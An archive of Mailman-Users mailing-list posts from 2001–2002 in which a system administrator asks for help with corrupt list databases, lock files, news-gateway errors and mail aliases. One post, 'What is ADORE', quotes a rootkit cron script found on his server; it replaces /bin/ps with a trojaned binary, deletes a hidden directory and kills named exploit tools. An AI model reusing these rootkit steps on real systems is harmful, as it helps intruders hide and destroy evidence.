[Mailman-Users] List Database error
I am receiving the following error: ~/mailman/logs/error Feb 28 20:50:26 2002 (4190) .XXX.win db file was corrupt, using fallback: /home/mailman/lists/.XXX.win/config.db.last When I run: ~/mailman/bin/check_db .XXX.win it states /home/mailman/lists/.XXX.win/config.db is fine /home/mailman/lists/.XXX.win/config.db.last is fine Do I need to create a new List? Any help is greatly appreciated. Regards MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] DataBase Errors
While sending out a huge list, my server is locking up at different times. Currently the list has been sending off and on for 3 1/2 days. I am thinking the following error message is causing the problem. ~mailman/logs/error Feb 28 20:50:26 2002 (4190) .XXX.win db file was corrupt, using fallback: /home/mailman/lists/announce.sdd.win/config.db.last What if sendmail stops and I either re-started it or the entire server? to get away from this error or is there a repair utility? Does Mailman keep sending from where it was stopped by this error? How does this effect the list that is going out? I would rather I did not re-send/re-start the post to the list. Do I need to create a new list and migrate the addresses so the list will stop locking up. Thanks for any help... Regards MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Random Mail List
I would like to be able to prove when a list begins and ends sending. I tried subscribing [EMAIL PROTECTED] and [EMAIL PROTECTED] But the list does not seem to send in alpha order. Looking at a generated file using ~/mailman/bin/list_members does not show the list members in order of date of subscription or alpha. How does mailman choose to send to the list, "Alpha, Date of subscription"? What is a good way to know how many have been sent, or percentage done? Thanks for any help. Regards MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] News Gateway not spam
I am curios how to stop a news group poster from getting spammed by my list server. When he writes the news group that is connected to my list server via "Mail-to-News and News-to-Mail gateway services." Does that make sense? In the case a list member of the suspect group is not reachable. Can I change the "return-path" of newsgroup postings? So the poster on the news group does not get un-wanted undeliverable mail from my list server. Thanks in advance for any help! Regards MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] News Gateway
I am running Mailman 2.0.8
Every time I try to use the Mail-News and News-Mail gateways I
get error messages.
Traceback (innermost last):
File "/home/mailman/cron/gate_news", line 222, in ?
main()
File "/home/mailman/cron/gate_news", line 203, in main
process_lists(lock)
File "/home/mailman/cron/gate_news", line 148, in process_lists
conn, first, last = open_newsgroup(mlist)
File "/home/mailman/cron/gate_news", line 78, in
open_newsgroup
r,c,f,l,n = conn.group(mlist.linked_newsgroup)
File "/home/mailman/Mailman/pythonlib/nntplib.py", line 260, in
group
resp = self.shortcmd('GROUP ' + name)
File "/home/mailman/Mailman/pythonlib/nntplib.py", line 210, in
shortcmd
return self.getresp()
File "/home/mailman/Mailman/pythonlib/nntplib.py", line 184, in
getresp
raise NNTPTemporaryError(resp)
Mailman.pythonlib.nntplib.NNTPTemporaryError: 480 Permission
denied
There are no items in $mailman/locks, The news server
is open explicitly for this server to Read,Post
Any help is greatly appreciated
Thank You
MikeT
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[Mailman-Users] Logs/Monitor
I have been having a problem with the server not sending messages. I Upgraded to 2.0.8 and played with the lock files and hundreds of messages are being sent now. Is there a way to Monitor the outbound traffic to see what lists are sending mail, and how many messages/recipients were there. I would also like an automated way to make sure the lists are responding and not locked up daily, short of mailing a dummy list daily. Can I look at a file and see what was or was not sent out on a given day. Regards MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
Re: [Mailman-Users] Administrative Requests
On 26 Nov 2001, at 16:38, Jon Carnes wrote: > I think you will have to edit the source and add whatever key words you want > to include. In general you can edit any of the files that end in .py and > later, when python runs the corresponding .pyc file, it will check the > source file and see that it has a newer date, and then recompile that file > before running it. Yea I ithink I have found the correct source: /home/mailman/Mailman/Utils.py The (admin_data =) section seems to hold the key words. Would you happen to know why some lists would treat this differntly. the list options are the same and it treats this differently, "Am I missing something?". Thanks MikeT > > The .py files are fairly will documented and readable. Be sure to save a > backup of any file you modify - just in case... > > Jon Carnes > - Original Message - > From: <[EMAIL PROTECTED]> > To: <[EMAIL PROTECTED]> > Sent: Monday, November 26, 2001 3:47 PM > Subject: [Mailman-Users] Administrative Requests > > > > > > Administrative requests for mailing list: > > > > How can I add key words that will get flagged and put into this > > catagory. As of no I get messages her if a post contains help in > > the subject. I would also like to flag remove, unsubscribe, and > > take me off your list. > > > > Thanks for your help > > MikeT > > > > -- > > Mailman-Users maillist - [EMAIL PROTECTED] > > http://mail.python.org/mailman/listinfo/mailman-users > > -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Administrative Requests
Administrative requests for mailing list: How can I add key words that will get flagged and put into this catagory. As of no I get messages her if a post contains help in the subject. I would also like to flag remove, unsubscribe, and take me off your list. Thanks for your help MikeT -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
Re: [Mailman-Users] Is it running
On 16 Nov 2001, at 13:46, Scott Weitzenkamp wrote: > There is no mailman daemon per se. Based on what I > know, you should look if sendmail is working, I > debugged a similar problem on Linux with "tail -f > /var/log/mail" and "tcpdump -X port 25". Yea Sendmail is running, I can send a msg to an alias on that machine and it will get back to me. Recently I did an upgrade that seemed to go well. I tested and mailman worked. Now it seems none of my lists will respond. Jon: Would those scripts be in /etc/crontab. This was empty. I have moved the scripts from ~mailman/cron/crontab.in int /etc/crontab, I do not see how this works. None of these destination files are rwx=x? Is there a script I can manually run and have it proccesss what is waiting. I am completely in smoke on this one. > > Any help is greatly appreciated. Thanks > > > > > > MikeT ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Is it running
How can I tell if mailman is actually running. I can not find an entry if I run ps -aux. I can mail my server and the aliases appear to work. When I mail one of my lists nothing ever gets through, and nothing is sent out. All the html features appear to work. I can change options, and if I make a test list it tells me of the new list but never responds. I have added the alias info into my /etc/aliases file and run newaliases. Any help is greatly appreciated. MikeT ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Archives
Why do some lists have viewable archives and other lists with all the same settings do not have archives that are viewable. Is this normal, can I fix the lists that do not allow the archives to be viewed. The lists that do not let the archive be viewed display a 404 error page not found. Any help is greatly appreciated. MikeT ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
Re: [Mailman-Users] Sudden error
The ~/mailman/logs/error file is too big because the data: Oct 30 08:10:00 2001 (11866) Delivery exception: not enough arguments for format string Oct 30 08:10:00 2001 (11866) Traceback (innermost last): File "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 82, in do_pipeline func(mlist, msg, msgdata) File "/home/mailman/Mailman/Handlers/Decorate.py", line 41, in process footer = string.replace(mlist.msg_footer % d, '\r\n', '\n') TypeError: not enough arguments for format string Is being written to the file several times a second. Reference the first note I have changed code and received a different error. Regards MikeT On 30 Oct 2001, at 15:43, Greg Ward wrote: > Sounds like you have an out-of-control log file on a system with no > large file support. (Or at least your Python doesn't have it; I think > the kernel, filesystem, libc, and Python all need to cooperate for files > > 2 GB to work.) > > The problem is not that Mailman is crashing because of a humongous > log file; the problem is that you have a humongous log file in the first > place! Take a look in ~mailman/logs -- it should be pretty obvious > which the 2 GB file is. Take a look in it and see if you can figure out > why it got so big. > > Greg > ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Sudden error
My list server suddenly developed an error message that is all
consuming. I now have an error message that is 2gig in size. This
is only since the 18th of October, 01.
I had found the error upon receiving the Cron Daemon message:
**
**
Logging error:
Traceback (innermost last):
File "/home/mailman/Mailman/Logging/Logger.py", line 74, in write
f.write(msg)
IOError: [Errno 27] File too large
Original log message:
[Errno 27] File too large
**
This error led me to editing the file "HandlerAPI.py" described
below. I found no erro on the indicated lines and when I tried to
alter the file the message got worse.
The code preceding the error line is:
def do_pipeline(mlist, msg, msgdata, pipeline):
while pipeline:
modname = pipeline.pop(0)
mod = __import__('Mailman.Handlers.' + modname)
func = getattr(getattr(getattr(mod, 'Handlers'), modname),
'process')
try:
pid = os.getpid()
func(mlist, msg, msgdata)#Error Line 82
I added ", pipeline" from above and the error changes to:
**
Oct 30 11:28:07 2001 (31223) Delivery exception: too many
arguments; expected 3, got 4
Oct 30 11:28:07 2001 (31223) Traceback (innermost last):
File "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 82,
in do_pipeline
func(mlist, msg, msgdata, pipeline)
TypeError: too many arguments; expected 3, got 4
**
Oct 30 08:10:00 2001 (11866) Delivery exception: not enough
arguments for format string
Oct 30 08:10:00 2001 (11866) Traceback (innermost last):
File "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 82,
in do_pipeline
func(mlist, msg, msgdata)
File "/home/mailman/Mailman/Handlers/Decorate.py", line 41, in
process
footer = string.replace(mlist.msg_footer % d, '\r\n', '\n')
TypeError: not enough arguments for format string
Any help is greatly appreciated
Thanks
MikeT
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Michael E. Todd
System Administrator
505 Wall Street
Chico, CA 95928
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Re: [Mailman-Users] Is there a limit
Yea you are right. The lock files contained the files with (pid). After I clean the ~mailman/lock directory and kill the process/s I get: * apache 802 0.5 2.1 4344 2752 ?S08:46 0:00 /usr/bin/python -S /home/mailman/scripts/driver admin * in my processes after I try to access the /members portion of the list in question. What is qrunner.lock this is also appearing in the ~mailman/lock directory. Thanks for any help. MikeT On 15 Oct 2001, at 21:06, Jon Carnes wrote: > > Is there a limit how many names can be on a list. Does it slow > > down if a list gets too big. > > This only happens trying to get to the admin page. I can still get to > > the subscribe info. It opens at /info not on /admin. > > I am experiencing a problem with only one of my lists. It happens > > to be the largest list. All of the other lists open fine and work > > correctly. > > > > Thank You > > MikeT > > A fast processor, SCSI disk subsystem, and an optimized MTA like Postfix > can help out with large lists. Folks have reported lists as high as > 200,000 email addresses without problems. > > You might want to check your lockfiles in ~mailman/locks > If there are files in there, then Mailman may think that some other process > is using the database, and is locking you out. The name of the lock file > will contain the name of the mailing list and end in the process number > that has the lock. > > Assuming you find a lock file keeping you out, you can find the process by > ps ax |grep process# (at least in Linux) > > If the process is non-existent, then delete the lock file. If the process > is frozen, kill the process first, then remove the lock file. If its still > running, then you've got to speed up your system! > > Good Luck - Jon Carnes > ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Is there a limit
Is there a limit how many names can be on a list. Does it slow down if a list gets too big. This only happens trying to get to the admin page. I can still get to the subscribe info. It opens at /info not on /admin. I am experiencing a problem with only one of my lists. It happens to be the largest list. All of the other lists open fine and work correctly. Thank You MikeT ** SciTech Software Inc, Michael E. Todd System Administrator 505 Wall Street Chico, CA 95928 530.894.8400 ext 151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] What is ADORE
Is this a virus? Is this `below' the correct anacron file. Help??? Thanks miket I am experiencing some troble with or list server. It is rebooting every five minutes or so. I have tracked it down to the anacron service and /etc/cron.daily/0anacron #!/bin/sh if [ -f /sbin/reboot ]; then mv /usr/bin/adore /bin/ps mv /usr/lib/lib/0anacron-bak /etc/cron.daily/0anacron rm -rf /usr/lib/lib /sbin/reboot exit 0 fi killall -9 lpd >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 lpd7.sh >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 start-lprng >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 bind >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 statdx >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 start-statd >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 start-wu26 >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 start-bind >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 pscan-bind >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 pscan-ftpd >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 pscan-lprng >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 pscan-statdx >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 wuftpd26 >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 wuscan >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 hackwu26 >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 hacklpd >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 scan.pl >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 .bla >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 xargs >>/dev/null 2>>/dev/null 3>>/dev/null killall -9 cat >>/dev/null 2>>/dev/null 3>>/dev/null mv /usr/bin/adore /bin/ps mv /usr/lib/lib/0anacron-bak /etc/cron.daily/0anacron rm -rf /usr/lib/lib ~~~ SciTech Software, Inc. ~~~ Michael E. Todd Chico, CA 95928 530-894-8400 #151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] size limits
Are there any tricks to keep large lists running at a usable speed. I have one list that has many more list members than my other lists. The list in question is above 75,000 members. How does the $prefix/locks directory effect this. When the list does not respond I can find related files in this directory, remove them and the list is free once again. I am not sure how this is related. Is the large list size related and can I increase the performance. Is it safe to remove the associated files from $prefix/locks. Thanks For Any Help... regards miket -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] list locking up
I have one list locking up, It will not respond. I can not even bring this list up with a browser. I can monitor, update, edit and do everything else with all my other lists, but one will not respond. All the files and perms look good. Any help is greatly appreciated... Thanks -miket -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] copy a list
I am trying to copy or clone a list. Is it possible to make a list with my perfected options and then clone it to have another name with all the same attributes. I have been through the files in $prefix/bin, this is where i would have expected to find a command of this type. Am I missing it, or is it not possible. Thanks for any help! miket ~~~ SciTech Software, Inc. ~~~ Michael E. Todd Chico, CA 95928 530-894-8400 #151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://mail.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Sendail alternative
While trying to get mailman to work correctly I have found that sendmail has been altered and or modified by the manufacture of our server. We are currently using a Cobalt raq 4. I can not get mailman or the raq4 to accept a post to a list. The server also will not alias correctly. Would Qmail be a good choice for a second MTA, Are there procedures to use a second MTA. Thank You miket ~~~ SciTech Software, Inc. ~~~ Michael E. Todd Chico, CA 95928 530-894-8400 #151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://www.python.org/mailman/listinfo/mailman-users
[Mailman-Users] Mail/Aliases not working
Using the listinfo page it is possible to subscribe as long as the subscriber does not have to confirm with a mail because they never get a confirmation letter. >From the membership management page I can subscribe through the Mass Subscribe Members box. This does not send a welcome message when checked to do so. none of the internal mail aliases appear to be set up, the mailman- owner@###.scitechsoft.com: mail never gets forwarded. The option "To see the collection of prior postings to the list, visit the Pig Archives." does not work. The link to http://###.scitechsoft.com/pipermail/pig/ Forbidden You do not have permission to access the requested file on this server. Thanks for any help miket ~~~ SciTech Software, Inc. ~~~ Michael E. Todd Chico, CA 95928 530-894-8400 #151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://www.python.org/mailman/listinfo/mailman-users
[Mailman-Users] can not post to list
I can not mail a mailman user on my system. Only root and admin can revieve mail on this machine. If i write "Test" the name of a list on mailman i get: Unknown user: [EMAIL PROTECTED] Should the list create the user to accept incoming mail for the list or did i miss something during setup. Also I do not have a /pipermail/test directory in my $prefix directory. Should this have been created when the list was created. The list appears to be functional with the exception of being able to post to it. Any help is greatly appreciated, Thanks miket ~~~ SciTech Software, Inc. ~~~ Michael E. Todd Chico, CA 95928 530-894-8400 #151 -- Mailman-Users maillist - [EMAIL PROTECTED] http://www.python.org/mailman/listinfo/mailman-users
